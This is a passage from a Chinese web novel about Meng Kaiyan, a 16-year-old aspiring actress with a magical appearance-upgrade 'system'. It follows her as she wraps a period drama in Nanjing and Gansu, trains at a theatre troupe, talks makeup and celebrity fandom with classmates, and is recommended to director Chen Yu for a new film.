等痛劲儿过去了，才说：“这部剧怎么着也得明年二月才能杀青，陈导没那么快开新戏。” 跟陈曼相处几天，孟开颜能感觉出来她是个自我要求很高的人，从她拍戏时不停扣细节就能看出来。 不管是道具，或是演员口音，甚至群演的服装她都能注意到。她也很少问原因，出差错就举起喇叭开骂。 孟开颜因为手部细节和口音问题也被她说过两回，当时吓得不行，后来发现她谁都骂，连江白杨这个副导演都被她骂得狗血淋头后就放心多了。 对作品苛刻到这种程度的名导，不太会短时间内开启新戏。 简珍珠撇撇嘴：“怕是二月杀青不了，你打架这场戏拍三天都没拍完，我看着都着急。” 孟开颜：“陈导嫌我不会打架，说我打架的时候演感太重了，还发给我几个打架的视频让我学学。” 简珍珠：“妮儿你太老实。” 孟开颜眨眨眼，她老实吗？ 好像不太老实。 孟开颜总觉得她内心深处住着一个狂野放诞的小人，这几日的发疯戏，让她找到一个宣泄口。 如同被黄泥糊死了的酒罐子，“哐”地一声被人敲破个口子，被放在暗处发酵许久的酒哗啦啦地流出来。 爽感无以言表，她爱死这种感觉了。 翌日。 今天依旧是外景。 剧组里就没人不怕外景的，这种天气拍外景是折磨，是酷刑，孟开颜拍完后衣服都能拧出水来。 热也就罢了，孟开颜能忍。 她最怕的是晒黑，好不容易攒够星光值改造好的肤色可不能再黑回去。 系统不讲道理，完全没有保修这个功能，孟开颜已经能预见皮肤这一项在未来绝对是个吞金大项了。 方群是养生达人，即便气温高达38度，她的保温杯里依旧装着温水。 “小孟咱们先来对戏。”她冲着孟开颜招招手，“这里凉快，来这边儿。” 孟开颜用台词本遮挡阳光，一路跑过去。 方群把手上的小风扇递给她，道：“这几场戏复杂，争取今天过了。” “好的。”孟开颜接过风扇，“谢谢方老师。” “那就来吧，词都背熟了吧？” “熟了！”孟开颜背得滚瓜烂熟。 方群清清嗓，刹那间神态都不同了，半进入角色之中。 “翠翠我是你小姑，我不会害你！你赶紧和方明断了，要不然、要不然，要不然我就把你送回乡下，你别想再去上班。” 孟开颜冷笑一声：“你怎么就不会害我了？你害我害得还不够吗。是你让我把这里当家，现在又说送我回乡下。怎么，我是狗吗！你要我来我就得来，要我走我就得走？” 方群神色大变，往后靠：“你怎么会这样想我，我是为你好！方明身体弱还没本事，跟他能有啥好的。你要是喜欢那小白脸儿，小姑单位里多的是。” 孟开颜嗤笑：“我又不图这个。” 方群皱眉：“那你图什么？” 她拿起另一个小风扇对着自己吹，半点没影响表情。 孟开颜：“我就图他身体弱，图他没本事，图他没爹没妈没个三姑六姨。” 方群震惊。 孟开颜脸上露出得意，压低声音：“小姑你不知道吧，他家赔偿金被抢这事儿就是个彻头彻尾的谎言！他当年就是故意的，贼根本就没偷他家，害得被抓住的那贼直接遭子弹，现在那人还不晓得在阎王殿里有没有轮回呢。” 前几年巷子里遭了贼，当天晚上方明正好遭混混打，回家碰上这事时计上心头，嚷嚷着家里的赔偿金被偷了，自己还被打一顿。 巧合的是来的有三个贼，跑了俩，被抓的那个也搞不清了其他人偷没偷。 一听数额巨大至少要抓去劳改20年，直接抢刀劫持了看热闹的老人想要逃走，最终被公安当场枪毙。 这事儿闹很大，方明后来不仅被街道办和厂领导慰问一番，厂里还给他补发了两百元。 也是方明活该，自那以后他的身体越来越差，隔三差五就得去医院一趟，再加上赔偿金被“偷”，根本没有好人家敢把姑娘嫁给他。 一年拖一年，直到翠翠的到来。 方群脸上表情复杂。 不解，错愕，失望，难过。 不开玩笑，孟开颜又出戏了。因为剧本上就只有短短的“表情复杂”四字，方群竟然演得如此生动传神。 轻而易举的就把纸面的东西现实化。 她是怎么处理的？孟开颜万分好奇。 方群没被孟开颜影响，她深吸一口气，强压心中汹涌澎湃不断往上涌的情绪，将两手放在孟开颜手臂上，如同教导小孩儿般轻声道：“翠翠，咱不能这样。你喜欢钱你可以自己去挣，你不喜欢这个工作咱们就再找！你要是不愿意上班，待家里也行，钱小姑可以给你啊。但你、但你不能通过这种手段去……你应该要爱惜你自己。” 话音落下，方群收起全部情绪。 她坐下笑笑道：“小孟你的台词不错，咬字清晰，节奏和重音都挺准，是不是经常参加舞台剧之类的活动。” 孟开颜点头：“我几乎每个月都会去我们那儿的剧团两天。” 方群喝口水：“我就说呢，你身上有专业的影子。以后准备走艺考？” “嗯嗯。” “打算去哪所学校？” 孟开颜赧然一笑：“目前的计划是北影中戏上戏都报，就是不晓得时间会不会撞车。” 方群：“哎，自己协调好就行了。广散网更保险，就是那阵子会辛苦些。不过你声台形表都不错啊，不出意外总能上一所。” “借方老师您吉言。” 两人没聊多久就又开始对戏，大概过了得有半小时，方群助理跑过来喊人，场地准备就位，要开始拍摄了。 因着对过戏，她们今日的拍摄很顺利，乐得陈曼请她们喝奶茶。 剧组的时间过得很快，孟开颜在南京的戏份即将拍完。 翠翠并没有被巧花感化，不过因为巧花的阻拦，吃方明绝户的计划也没有成功，就连方明都被巧花举报了， 眼瞅着翠翠要再次走上歧途，巧花壮士断腕，反手就给翠翠报了支援西北建设的名。 巧花去求了人，把翠翠安排到她们钢铁厂对口援助的工厂去。那个工厂虽然在山区，但因性质特殊有军队驻守，相比其他地方会更加安全。 孟开颜今日就在拍最后一场戏。 翠翠：“你疯啦！你送我去西北？你知不知道我去那里可能会死的。” 巧花：“翠翠你必须去接受教育，死不死的你别担心，工厂有吃有喝有医务室，每月还有32元的工资，以后只会多不会少，这比你总想着从邪门歪道里搞钱来的强。” 翠翠在巧花这里过上难得的好日子，哪里会舍得去？所以这场戏又是孟开颜喜欢的大开大合的情绪戏。 但她大概太兴奋了，情绪没有拿捏好，一连被咔三回。 陈曼：“小孟，你情绪太过了。之前太淡现在太满，稍微收着点儿。” 方群笑道：“小孟这是演爽了。” 孟开颜脸皮厚好多，不会动不动脸红了，随她们调侃。 冷静五六分钟，第四次时孟开颜终于找对情绪，顺利通过了大闹巧花家的这场戏。 陈曼喊咔，说出“通过”时，孟开颜站在原地心潮澎湃，高昂躁动的情绪久久不能停歇。 她还想继续演，她还能继续演。 工作人员立马清场，所有人都从戏中抽离出来，片场顿时间熙熙攘攘热闹非凡。 孟开颜抬着发飘的腿走到边上，靠在道具石磨上不舍得离开。 简珍珠用纸给她擦汗：“妮儿怎么了？我买了傍晚六点的车票，咱们回家吃晚饭。” 孟开颜沉默三秒，目光穿过人群，脸颊红扑扑：“妈，你说我什么时候能当上女主角？” 简珍珠手顿住：“这得看运气。” “是啊，得看运气。”孟开颜轻声呢喃，“妈你知道吗，我运气很好。” 她总是会当上女主角的。 6、第六章 华灯初上，上海的夜景美得惊心动魄。孟明海开车载着母女两人穿过繁华商业区回到家中。 兴奋褪去后，疲劳占据身体，孟开颜吃完晚饭便回到房间洗漱睡觉。 孟明海惊奇：“妮妮怎么了，剧组里受欺负啦？” 简珍珠把两个行李箱摊开整理：“没那回事儿，我们这次待的剧组还不错。你闺女没演过瘾呢，心里憋的那股劲儿没发彻底，估计还得去剧团演两天才能恢复正常。” 孟明海：“看来这回的角色很好。” 简珍珠若有所思：“怎么说呢，和妮儿反差很大，我从前都不晓得她喜欢演这种。” 开拍后的那两天还不太放得开，拍着拍着就演嗨了，上头了。简珍珠直至那时才意识到女儿的内心世界和她所认为的有巨大差异。 女儿并没有她想的那么文静。 可话又说回来了，走演员这条路的人心里也该是要有点执拗和疯狂的，否则塑造不出好角色。 孟明海叹道：“孩子大了，懂得藏着自己了。” 简珍珠翻白眼：“你这不是废话吗。不懂得藏自己的，不是糊涂虫就是缺心眼，就跟你似的。” 孟明海：“哎哎哎，好好说话，拒绝人身攻击，更拒绝翻旧账。” 说完收拾碗筷，逃到厨房去了。 孟开颜一觉睡到自然醒。 日上三竿，阳光透过白纱窗帘将房间照个大亮。难得，她居然没有被光线照醒。 睡觉是恢复元气最好的方式，经过12个小时的睡眠，附着在她身上的疲惫已不见踪影。 简珍珠正坐在客厅吧台上工作，见她开门便道：“妮妮醒了，来吃饭。今天有你最喜欢的生煎包，我还煮了锅小米粥。” 她原先在一家互联网公司上班，只是今年五月份被公司优化裁员，好在拿到一笔不菲的补偿金。如今暂时只在网上接一些小单子，也能挣些伙食费。 孟开颜用筷子夹起生煎包，沾沾醋：“妈你别太累。” 简珍珠笑笑：“放心，从前累些，不过我现在把手上这几单完成后就不接了，等你高考结束后我再去工作。” 孟明海提了薪，闺女又有片酬，家里的经济情况不算紧张，她如今就全职陪读了。 今日天气是真好，从落地窗往外看天是湛蓝色的，没有半片灰蒙蒙的云。 简珍珠在家里待不住，邻居一招呼就搁置工作，跟人家一起去水果批发市场买水果。 批发市场的水果便宜味美，买过一次家里冰箱能半个月不缺水果。 孟开颜没法出门，吃完早饭后的第一件事就是补作业，狂补，她还是学生呢。 好在她学校暑假作业不多，麻烦的只有课外实践这项。 孟开颜想了想，把拍戏经历写上去。 她班级能人众多，有跟着乐团去欧洲演奏的，有跟考察团去探索横断山脉的，甚至还有去非洲地区当义工的。 行吧，大家的生活都多姿多彩。 翌日。 孟开颜回学校。 同桌兰同打量她好几眼，啧啧称奇：“开颜你真没去韩国？” “没有，我要是去肯定会叫上你。”孟开颜递本midori手账本给她，“喏，送你。” 兰同：“刺绣手账本？谢了，我家有本黑色的。” 孟开颜冲她眨眨眼：“你翻开看看？” 兰同好奇翻开，只见首页有个签名：“谁的签名潦草成这样？” 孟开颜震惊：“你不是孔林的粉丝吗？” 孔林是今年六月份爆火的男演员，在剧组里客串个七八番的角色。 按理来说流量男明星不会再演这种边缘角色了，倒霉就倒霉在合同是爆火前签的，还是求爷爷告奶奶拿到的角色，加上导演主演个个都是大牌，他只能硬着头皮来演。 孟开颜碰巧跟他有对手戏，能感觉出来，他还挺不情愿。 不过态度不错，除不让剪头发，不让化丑妆外别的都配合。 比那还没闯出来的大三生刘凌云来得好，刘凌云怕热不肯穿厚戏服，因着这事儿跟剧组里的服装老师吵起来，搞得他经纪人顶着大太阳从北京飞来给他擦屁股。 兰同瞪眼：“孔林？字怎么这么丑！” 随即后知后觉般“啊”地嚎了一声，把手账本抱在怀里，一头扎到孟开颜的怀中：“真的是孔林吗，亲笔签名？” 孟开颜很想吐槽，她模仿不来这么丑的签名。 她心里暗暗决定，往后自己的签名一定得漂亮……嗯，起码不能丑。 兰同得到肯定回复后捧着手账本muamua亲两口，笑容荡漾：“哎，孔林去你剧组探班啦？是不是帅爆了。” 孟开颜把作业拿出来，请前桌帮忙递给学习委员：“不是探班，是拍戏。戏份不多，不过造型还不错，挺帅的你可以多多期待。” 兰同不可置信：“他这么火了还客串？” 说着掏出手机，点到孔林的微博超话里，滑几下后果然看到他的上班路透图。 兰同：“行吧，他拍啥我看啥，只要造型好我就能忍” 随即啪啪啪一阵打字，孟开颜瞄到一眼，是@工作室，要工作室给撕个特出待遇。 ［做不到就解散重组吧，垃圾工作室不要耽误林林的未来。］ “……” “等等，你也不是人家的铁粉啊。”孟开颜不解，连人家孔林进组的事儿都不晓得，顶天路人粉。 兰同还在埋头苦干：“现在是了，我决定买股他。” “呃，原因？” “我有他亲签，起号容易。” 孟开颜无语到晕倒。 憋半天没忍住，问她：“等我哪天要是火了，你会不会成我大粉？” 兰同惊讶，思考片刻：“那肯定，不成白不成。” 说完拍拍孟开颜肩膀，勉励道：“加油，我先熟悉熟悉圈子，等你爆后我就是你的头号大粉，给你剪超多绝美产出。” 孟开颜哼道：“逗我呢，一点儿都不真诚。” 兰同笑嘻嘻：“真的！” —— 孟开颜开始全身心投入到学习中。 现在艺考改革，没上本科线就得落榜。好在她学习成绩不错，别说本科线，本一线都稳稳的。 她现在多拼拼，往后卷成绩时粉丝也能挺直腰杆。 至于剧团，孟开颜依旧按照一月两次的频率去。 这日，她提着奶茶甜品来到剧团，正巧赶上大家在排练新剧。 这太难得了，孟开颜也不去找杨苏叶老师了，待在台下津津有味地看起来。 “好看吗？”身后传来声音。 孟开颜转头见是杨苏叶，连忙起身：“好看，剧情很有意思，就是不太连贯。” 杨苏叶端起一杯奶茶，见是无糖的才放心喝：“还是粗排，得等到下个月才会上映。” “拍戏拍得怎么样？”杨苏叶又问，“你小姨说你这回足足有18天的戏。” 孟开颜：“其实有22天，到时候还要去甘肃拍四五天。至于怎么样……怎么说呢，特别痛快。” “角色很好吧？” “嗯嗯。”孟开颜点头，眼睛发亮，“是我到目前为止拍过的最值得深挖的角色。” “这种角色演起来才带劲儿。现在好角色不多啦，能遇到就尽全力去演，别给自己留遗憾。”杨苏叶叹声气。 见台上的演员排练完，招呼他们下来吃点心。 孟开颜会做人，每次来都带了奶茶甜品，有时还给带冰箱贴、拼图这种旅行途中买的小礼物，所以剧团倒也没人不待见她。 吃完，杨苏叶问孟开颜：“去试试？” 孟开颜跃跃欲试：“可以吗？” “怎么不行，你问问谁愿意和你搭。” 宣菲菲拍拍她：“开颜我和你搭，我水平最差了，刚好你陪我对对戏。” 孟开颜乐得差点蹦着上台。 新戏不算复杂，概括成一句话就是保姆的观察日记。 农村姑娘小何去做保姆，以她的视角来展开豪门中的离奇奇葩故事。 当家男主人，第三者上位、又面临下位的女主人，前妻的女儿，现任的儿子，还有两个未曾进门的孩子。 总之，四个孩子四个妈。 人物足够，剧情抓马，即使戏剧艺术性不足，可看性却也能很强。 孟开颜演谁？ 杨苏叶：“你演大儿子的女朋友。” 孟开颜：“啊？” 然后翻剧本，恍然大悟。 大儿子的女朋友是剧本里笑到最后的终极人物，最终上位成功，成了前男友的小妈，只是她又要面临着新一轮的斗争。 孟开颜揣摩一会儿人物，活动活动身体，拿着剧本开始对戏。 她脖子微伸，眉头蹙起：“我只是过于喜欢金钱，又能有什么错呢？这座房子里，有谁不喜欢金钱，又为何对我如此苛刻！” 说着，从不解，到气愤。 不等宣菲菲接戏，杨苏叶喊了停。 她围着孟开颜转两圈，纳闷：“去趟剧组回来，你怎么不会演了。” 孟开颜呆愣：“啊？” 杨苏叶：“啊什么，你在剧组里演的角色很尖锐？” 孟开颜：“对。” 杨苏叶：“那就对了，你身上还带着她的影子，你犯了错误，把那个角色的特质带到这个角色中来了。” 孟开颜恍然，她就说她最近情绪怎么如此容易波动。 7、第七章 “你缺少系统性的练习。”杨苏叶摇摇头一针见血指出问题，“大量的练习。” 她又道：“你问问菲菲就知道，她是旁边上戏出来的，当年在学校的时候是不是经历过大量的形体和语言训练。” 宣菲菲摊摊手：“任何一所学校的表演课都有这样的练习，我当年被形体折磨得可不轻呢。” 杨苏叶：“对，但我说的不是你们课上常规的练习，什么面部肌肉活动，眼部肌肉练习这些基础训练，而是转变训练。” “角色和角色之间必然存在差异。都说世界上没有一模一样的叶子，其实也没有一模一样的角色，当然除了翻拍。可话又说回来，不同人演绎同一角色，也会产生差异。所以演员有一项很重要的工作，就是剥离角色。” “剥离角色说起来容易，做起来却难，特别是特质鲜明的角色，很多演员需要心理疏导也有这方面的原因在。” “演员班有一项训练很有意思。”说着，杨苏叶将手中奶茶放在桌上，挽起袖子，将桌子推往舞台中间。 只见她周身气势微变，嘴唇抿着，手放在胸口身体前倾，眼眸流露出不解：“我只是过于喜欢金钱，又能有什么错呢？这座房子里，有谁不喜欢金钱，又为何对我如此苛刻！” 紧接着来到桌子的另一边，坐在椅子上，身体很轻松的靠着椅背，手肘抵着扶手，手指抖抖。明明手上没有任何实物，可孟开颜就能看出来她在抖烟灰，发出轻笑，“喜欢钱？也对，钱是好东西，谁会不喜欢？但得到往往意味着失去。我儿子女儿失去部分自由，我太太情人失去所有自尊，你呢，你又能给出什么来换取金钱？” 孟开颜屏住呼吸，说不出话。直到杨苏叶从椅子上起来时她还沉浸在刚刚的表演当中。 明明形体夸张，可整体给人的感觉却格外真实。 杨苏叶：“迅速转变角色训练是让你快速投身于下一段表演的有效训练方式之一。在多次的训练中你身体中会形成隔离屏障，不至于稍微有点难度的角色就把你卡住就。” 宣菲菲：“我们当年分离组合训练的时候用过这种方法，很折磨人。” “你前一秒是警察，后一秒就能是骗子。前一秒是家暴的爸爸，后一秒就是被打的孩子，反差越大越好。至于矛盾自己去琢磨，琢磨多了以后需要类似角色就知道从哪里入手。演员最怕的就是脑袋空空，这样的演出来也是平面的，没有血肉的。”杨苏叶说道。 说完，又端起奶茶喝起来，摆摆手：“你们训练吧，开颜你也别急，这玩意儿是靠练出来的，急也没用。” 孟开颜：“……” 宣菲菲捂着嘴巴笑，等杨苏叶走了才小声说，“其实吧，这门课有归有，但能老老实实练习的人还真不多，要不然现在的娱乐圈得一堆戏骨了。倒是形体可以多练练，这玩意儿很加分，还容易被摄影机放大。现在演技不好就吹台词，台词不好就吹是原声。万一连原声都不是而是配音，就吹体态，把体态练好古装剧里有优势。” 孟开颜欲言又止：“唉……” —— 上学的时间总是过得很慢，孟开颜看着课桌上的日历，每天都在期待12月的到来。 她的补拍时间定在12月中旬，到时候需要请假一周去甘肃拍完剩下的戏。 体育委员冒头：“开颜，下个月的运动会你参不参加？” 孟开颜立马回答：“参加！我报跳高跳远，一百米还有八百米。” 体育委员笑得嘴巴都要咧到耳朵了：“好嘞！” 在表格上勾四下下，任务进度直接走了五分之一。 兰同正举着镜子夹睫毛呢，听到这话吓一大跳：“你不打算活啦？” 孟开颜摆弄她桌上的化妆品：“活啊，怎么不活，生命在于运动。”她不会放过任何一项收集星光值的机会。 兰同竖起大拇指：“你牛，我一定为你搞好后勤。” 孟开颜没说话，拿着她的修容棒在研究。好半天后问兰同：“哎，你说我脸上哪里需要修容？” “嗯？等等。”兰同快速贴完假睫毛，转身用手抬起她的下巴，仔细观察，“呃，你下颌拐角处得用，不太清晰。” 她摸摸孟开颜那处骨头，“没啥拐点，不过你脸型流畅，从正面看就是标准鹅蛋脸，平常拍照是好看的。唉，得脸型者得天下是真的，我手化抽筋也化不出你这样的脸，只能往方圆脸上去靠。” 前桌田敏静凑热闹：“我倒不觉得开颜是鹅蛋脸，她额头要宽，太阳穴这边有点鼓，她不是脸型流畅，是头骨特别圆润。” “为什么给人视觉上的流畅呢，因为她头发多，是头包脸。”田敏静伸出手，“喏，眉尾这里一直到眼下两指的地方头发太加分了，这就是她颧骨微微外扩但却不难看的原因。” 田敏静有个在时尚行业奋斗的妈妈，耳濡目染之下更追求自带特点的美，便说：“开颜的脸……单从上半张脸看的话能打80分，很英气，但不知道为什么总觉得有点奇怪。” 孟开颜只觉得田敏静说到她心坎上了，忙问：“哪里奇怪。” 田敏静托腮观察好半天：“怎么说呢，我觉得你的脸型得配上立体的五官，但你的五官相对来说却比较平淡。你试试化浓妆，把眼窝加深，眼尾用小烟熏。哦，还有鼻子，鼻子山根化化，这样应该会好很多。其实你脸很好化的，能化淡能化浓，而且都不突兀。” “还有就是你以后千万别去做发际线，我羡慕死你的发际线了，现在好多人都喜欢你这种花瓣发际线。” 兰同把孟开颜额前头发全部撩起：“还真是，还是不规则的，这就是请大佬免费给我做我都不敢做，不知道适不适合我的脸。” 田敏静：“能上镜的都没什么大bug，在镜头里看到的大bug搁现实生活中肉眼都不太能看出来。” 兰同拉着田敏静：“哎哎哎，快来帮我看看，我也要美容顾问。” …… 孟开颜端详镜子前的自己，点点鼻子，原来鼻子还不行。 每天数着日子过，运动会过后就是11月，上海不知不觉进入秋季。 运动会在体育馆举办，孟开颜靠着强硬的实力拿到一银一铜。她腿长，不管是跑步还是跳高跳远都很有优势。 这一趟下来收获满满，孟开颜竟然收到38点的星光值。 若是以往按照她的耐性肯定当天就用了，说什么都得试试田敏静的改进方向。 但这回不行，她还得拍戏呢。 镜头太苛刻，微末变化都能被放大。在离组前陈导特意交代她回家后得控制体重，最好比在组里那会儿再轻个四五斤。 孟开颜是日也盼夜也盼，终于在12月盼到剧组的通知，她得去甘肃了。 兰同依依不舍：“孔林还有戏份吗，能给我多照几张他的照片吗？” 孟开颜收拾书包呢：“这我哪里知道，大概没吧，就是有我也没法照，让人看到多不好啊。” 兰同想不通：“那工作室怎么还不安排林林进组，大好时光不能浪费啊。” 孟开颜要给工作室叫屈了：“老天爷，你歇歇吧，这哪里是工作室能安排的。”一个组想开起来，要协调的东西可太多了。 兰同：“那我该找谁？” 孟开颜背上书包：“找谁都不好使，只有钱最好使。” 说完和好朋友们拜拜，一路跑到校门口。 剧组通知中午才来，所以她得从学校去机场。 简珍珠已经在校门口等着了，孟开颜上车后抱怨道：“剧组真是的，也不前一天说，还好车没送去保养。” 孟开颜笑笑：“我逃过了月考。” 简珍珠：“高兴吧？” “高兴！”更多的是为又要去拍戏而高兴。 飞起起升降落花费三个多小时，中午还在上海，傍晚时已到兰州。 匆匆在机场吃碗牛肉面，而后打车去拍摄基地。 “我还以为基地会在沙漠。”路上碰到的同样来补拍的演员说。 简珍珠：“肯定不能，咱们一帮子的人，去沙漠住哪儿，而且兰州有沙漠吗？” “没吧。” 孟开颜忍不住插嘴：“新区有腾格里沙漠的余脉。” 不过有归有，基地确实没在沙漠，依然在城市圈，居住的酒店反正比她们从前在横店住的要高级。 孟开颜睡眠质量一向很好，即使在飞机上睡足两小时，她在11点前依然能睡着。 第二天，精神奕奕的她再次迎来拍摄。 8、第八章 这次的补拍没上次拍摄来得顺利。 主要是大场景有点多，机器的协调和群演的管理都遇到了困难。 陈曼每天都在骂人，孟开颜看到她都得绕道走，生怕被殃及池鱼。 再加上拍摄计划紧张，是日也拍夜也拍，就连孟开颜每天都得拍摄10个小时以上，更别说其他人了。 “你说这天天熬夜熬的，难怪剧组就是个火药桶，噼里啪啦响不停。”简珍珠跟着熬了两天后实在受不了，再也不去凑热闹了。 孟开颜往身上猛涂防晒：“听说监制今天要来，估计是资金有点超标。” 简珍珠：“陈导太追求细节，厂里的机器全部都得用真货，就是运输都得狠烧一笔钱。再加上那么多群演，每天得给出去多少，难怪现在都喊着学习国外的电影工业。” 孟开颜现在就是能有多配合就有多配合，这种时候配合好的不一定能被记住，但配合差的一定会被导演监制等人牢牢记紧。 很快，她的最后一场戏来了。 这场戏又是重头戏，重在哪儿呢？ 得抢光，抢日出的光。 也就是说她这次要是拍差了，就得留下来再拍一天。 孟开颜紧张得要死，这可不单单是她留一天的问题，还有群演、工作人员得跟着再工作一天。 清晨，天才微微亮，孟开颜来剧组时陈曼和监制梅日佳已经在剧组里工作好一阵了。 “小孟状态不错啊。”方群披着羽绒服坐在椅子上，手里捧着一杯热乎乎的咖啡，从她脚边两杯饮用口已经打开的咖啡杯上可以看出来她昨儿又熬了一夜。 “方老师您连续三天夜戏了吧。”孟开颜颇为震惊。 方群倒是接受良好，嘬口咖啡悠哉悠哉说道：“这才哪儿到哪儿啊，连拍半个月夜戏的经历我都有过，你还年轻，往后多待几个剧组也能遇到。” 她助理拎着早饭过来，笑道：“起码得再过两年，小孟不是才16岁吗，未成年呢。” 方群：“有些剧组可不管你成不成年，小孟啊，往后挑组得擦亮眼睛，你这种没签公司的小姑娘最容易被坑。把你当驴使的剧组都算不错的了，有那种故意欺负人的，钱没多少，大冬天让你穿单衣泡好几趟湖水的最要命。” 孟开颜咋舌，“这会失温吧。” 方群笑笑：“失温送医院就是，反正都是为拍戏嘛，你要是不乐意了人家还得喊戏大过一切。不过你也别太紧张，这几年情况好太多了，网络这么发达，组里也怕人在网上说这些事，名声臭了可不好。” 没说多久，副导演就过来催人了。 孟开颜一看手机，到了快日出的时间，紧张感顿时间又漫上心头，这回可没方群跟她对戏。 摄影组录音组准备就绪，副导演正在指导群演走位。 孟开颜站在机位前抖脚，她穿着布鞋呢，此时的脚趾头都跟冰块似的，都怀疑拍完得长冻疮。 “小孟啊” “哎！” “争取一条过，这场戏麻烦死了。”副导演拍拍她肩膀。 陈曼骂他：“别给人小姑娘心理压力，我都没敢催，你催个鬼。” 说着又对孟开颜说：“按照自己节奏来，我相信你。” 态度难得的和蔼可亲。 孟开颜更紧张了，紧张到惶恐。心说：要不然还是随便骂我两句吧，这样好吓人。 打板，拍摄开始。 得知巧花离开，翠翠犹豫要不要去送她。 “咔——” 突然，陈曼喊停。 孟开颜心就猛地吊起来，半秒后就听陈曼怒吼，“画面怎么在抖，摄影机没装好吗？” 责任不在她，孟开颜瞬间松口气。 摄影组如临大敌，赶紧检查设备。 很快，第二次拍摄即将开始。 朝阳初升，火红的阳光刺破天幕，洒落在这片正在迎来新生的土地上。 得知巧花离开，翠翠神色微动，手中的报纸不知不觉中被她抓得发皱。 “你不去送送你姑姑？”同事好奇，羡慕道，“你姑对你真好，还给你送被子送鸡蛋，我刚开始还以为她是你妈呢。” 翠翠不知该如何回答：“我、我……” 同事：“我啥啊，你不去啊？去城里的车六点半准时出发，你再不去可就追不上了。” 翠翠：“可我得值班。” “我替你看会儿。” “咔——” 这段就算拍完。 没空磨蹭，第二段趁热打铁立马开始。 这一段最难拍，孟开颜跺跺脚，想着等会儿千万别摔倒。 拍摄再次开始。 孟开颜长呼一口气，再次进入状态，先是磨磨蹭蹭的慢走，出办公室后就提速快走。 陈曼看着监视器里的画面，满意点头，和梅日佳夸说：“这姑娘有灵性，是用脑子演戏的人才，会懂得自己设计画面。” 梅日佳：“看着不大，读大几了？” 陈曼：“才16呢，还是高中生，化妆师把她往成熟化，看不出来吧。” 梅日佳是真有点惊讶：“16啊？这岁数可真不错，现在圈里多缺这岁数的孩子。” 是真缺。 20太大，14太小，这中间年龄段的演员刚好可以演一些大制作主角的少年戏。 梅日佳从监视器里细细打量孟开颜，只见孟开颜小跑出厂，在道路上狂奔。 朝阳就在她身后，霞光万道，天空一片绯红。 风来的正是时候，孟开颜额前碎发被吹得散乱却又不失美感。 霞光落在她脸上，蓬勃的生命力如同冬日过后的嫩芽，在初春中破土而出。 翠翠在此刻完成了自己的新生。 孟开颜完全忘却周遭一切，她好像和翠翠合成一体，靠着本能往前奔跑，释放翠翠的情绪，翠翠的内心世界。 翠翠啊，太阳再次升起了。 梅日佳发出可惜的叹气声：“演得真好，灵气都要溢出来了，好多演七八年的人都演不出这种感觉。” “就是……”梅日佳摇摇头，“就是这脸差了点，不是主角脸。” 陈曼没法反驳，她一向认为演技才是演员最重要的东西。 但当下演艺圈，颜值就是敲门砖，你脸不够硬很多项目面都不面你的，在粗筛那一阶段就能被直接筛走。 陈曼起身：“还小呢，得再长长，说不准能逆袭。” 梅日佳不是很认同，逆袭的童星太少，倒是去整容院一趟或许会有收获。但也没多说，片刻后问：“这姑娘是最后一场戏了吧？” “是，咋啦？” “陈榆那里缺个人，她要是有时间我就把她推给陈榆，她还挺合适。” 陈曼：“呦，陈榆的电影要开机了？” 梅日佳：“可不，求爷爷告奶奶，还抵押了两套房才把钱凑够的。不过没那么快，年后开，年前费钱。” 陈曼：“等会儿你问问小孟，刚好她妈妈也在组里。” 翠翠最终还是追赶上了巧花，巧花站在车斗中，不停朝她挥手，示意她回去。 风吹得人脸生疼，翠翠渐渐停下，手扶着两膝，哼哧哼哧喘着气。 “咔——” “恭喜小孟，杀青了啊。” “恭喜恭喜！等会儿让老徐给你束花。” 孟开颜在剧组里效率高还有礼貌，工作人员对她的观感都很不错。 “好嘞！”孟开颜面上笑笑，心里却怅然若失。 又杀青了。 摄影大哥是好人，帮她拍了好几张照片，都发给了简珍珠。 简珍珠看完爱得不行：“拍得真好，回家后把它打印出来挂在家里，到时候你杀青一部就挂一张，把咱们家的墙都给挂满。” 孟开颜也不拒绝：“妈，那你可得买多多的相框了。” “买！买一麻袋。” 母女俩正往酒店去呢，就被导演助理喊住：“简姐，小孟有时间么？” 简珍珠：“有，怎么了？” 导演助理：“梅姐找你们。” 母女俩对视一眼，孟开颜眨眨眼：“我和监制不熟啊。” 简珍珠：“我也不熟，没说过话。” 所以找她们能有啥事儿？ 梅日佳这会儿在房车上，她笑问：“你们几点的飞机？” 简珍珠：“不晓得今天能不能拍完，所以还没买票呢，不过打算买快11点的那趟。” “哦，那我就开门见山不耽搁你们时间了。”梅日佳说着掏出手机，“小孟明年过完年后有时间吗？我想推小孟去个组。” 简珍珠愣了愣：“有。” 梅日佳点开微信：“那你加我，我把你名片推给陈榆。” 孟开颜眼睛睁大：“陈榆？演过武则天的陈榆？” “对，她在筹备拍电影，自导自演。” 梅日佳添加成功后就把简珍珠推过去了，而后细细观察孟开颜一番。 颜值在她看来不够格，但身段很不错，足够高，比例还好。 梅日佳：“小孟你得有1米68了吧？” 孟开颜：“有，上个月量是1米69。” 梅日佳：“嚯！估计还能长两到三厘米，这就够了，太高不好接戏。” 简珍珠：“这事可愁人。你说青春期的孩子，总不能营养跟不上。可又怕她窜太高，她爸就很高。” 梅日佳：“最好能控制在1米76以下。不过也别太为这发愁，现在和从前不同，现在的孩子营养都跟上了，中戏北电上戏一堆大高个儿，站你面前都跟一堵墙一样，不怕找不到能搭戏的人。” 也没聊多久，眼瞅着要八点了，简珍珠赶紧带着孟开颜回酒店。 简珍珠是个很有规划的人，行李她早已经整理好，这会儿去提个行李就行。 又是三小时，母女俩回到上海。 孟开颜心里因杀青带来的惆怅一扫而空，满心满眼惦记着下一部戏。 她能被选上吗？她一定要选上。 9、第九章 陈榆在见到孟开颜照片时对这姑娘还不太满意，但看完梅日佳给发的演戏片段后便有了和孟开颜签合同的意向。 于是在孟开颜回到上海的那天晚上，她就同简珍珠敲定好了面试时间。 简珍珠：“陈老师说这周日她回会上海，到时候咱们去她家试戏。” 孟开颜：“真的？” 连饭也不吃了，放下筷子凑到简珍珠旁边看她手里。 简珍珠直接给她看聊天页面：“还能骗你不成。喏，陈榆夸你演技好，说她看了你拍翠翠的片段，演的都特别好。” 孟开颜心里冒出点儿小得意，却又嘴硬，托着腮：“说不准人家只是说客气话。” 孟明海听不下去：“怎么能呢，妮妮你就是演得好。人家又不是傻子，自己投钱拍电影肯定要找能演的，否则钱给的不是亏了么。再说了，那么大个腕儿哪里要跟咱们客气。” 孟开颜摇晃着脑袋，脸颊越来越红，嘴角的弧度压都压不住。 简珍珠揉乱她头发：“你闺女这是不好意思了呢。” 被家里教得太谦虚，这不好。 夜晚。 